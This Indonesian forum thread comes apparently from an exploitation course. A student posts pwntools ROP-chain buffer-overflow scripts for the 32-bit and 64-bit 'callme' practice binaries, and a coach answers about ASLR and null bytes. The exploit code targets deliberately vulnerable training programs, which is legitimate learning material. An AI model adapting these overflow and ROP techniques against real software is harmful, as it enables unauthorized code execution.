- This topic has 4 replies, 2 voices, and was last updated 3 years, 4 months ago by .
-
Posts
-
selamat sore coach, saya mengalami kebingungan terhadapt ouput yang saya jalankan ‘python3 exploit.py”
berikut hasilnya
tetapi rope nya ini tidak muncul coach, padahal codingannya sama dengan divideo
berikut codingan saya sesuai didalam video
from pwn import *
e = ELF(“./callme32”)
p = process (“./callme32”)payload = “A” * 44
gadget1 = p32(e.symbols[“callme_one”])
gadget1 += p32(0x080487f9)
gadget1 += p32(0xdeadbeef)
gadget1 += p32(0xcafebabe)
gadget1 += p32(0xd00df00d)gadget2 = p32(e.symbols[“callme_two”])
gadget2 += p32(0x080487f9)
gadget2 += p32(0xdeadbeef)
gadget2 += p32(0xcafebabe)
gadget2 += p32(0xd00df00d)gadget3 = p32(e.symbols[“callme_three”])
gadget3 += p32(0x080487f9)
gadget3 += p32(0xdeadbeef)
gadget3 += p32(0xcafebabe)
gadget3 += p32(0xd00df00d)final_payload = payload.encode() + gadget1 + gadget2 + gadget3
p.recvuntil(“>”)
p.sendline(final_payload)
print(p.recvline().decode())
print(p.recvline().decode())
print(p.recvline().decode())saya kembali mengalami error di bagian callme 64 padahal saya sudah mengikut alur code sesuai didalam video coach
berikut codingan saya
from pwn import *
e = ELF (“./callme”)
p = process (“./callme”)padding = “A” * 40
gadget1 = p64(0x000000000040093c) #pop rdi , pop rsi. pop rdc , ret
gadget1 += p64(0xdeadbeefdeadbeef)
gadget1 += p64(0xcafebabecafebabe)
gadget1 += p64(0xd00df00dd00df00d)
gadget1 += p64(0x000000000040093c)
gadget1 += p64(e.symbols[‘callme_one’])gadget2 = p64(0x000000000040093c)
gadget2 += p64(0xdeadbeefdeadbeef)
gadget2 += p64(0xcafebabecafebabe)
gadget2 += p64(0xd00df00dd00df00d)
gadget2 += p64(0x000000000040093c)
gadget2 += p64(e.symbols[‘callme_two’])gadget3 = p64(0x000000000040093c)
gadget3 += p64(0xdeadbeefdeadbeef)
gadget3 += p64(0xcafebabecafebabe)
gadget3 += p64(0xd00df00dd00df00d)
gadget3 += p64(0x000000000040093c)
gadget3 += p64(e.symbols[‘callme_three’])payload = padding.encode() + gadget1 + gadget2 + gadget3
p.recvuntil(“>”)
p.sendline(payload)print(p.recvline().decode())
print(p.recvline().decode())
print(p.recvline().decode())untuk aslr nya udh di matiin?
jangan pakai 00 yah di payload nya karena 00 itu artinya null bad char diganti aja 0xd00df00d jadi 0x41414141
- You must be logged in to reply to this topic.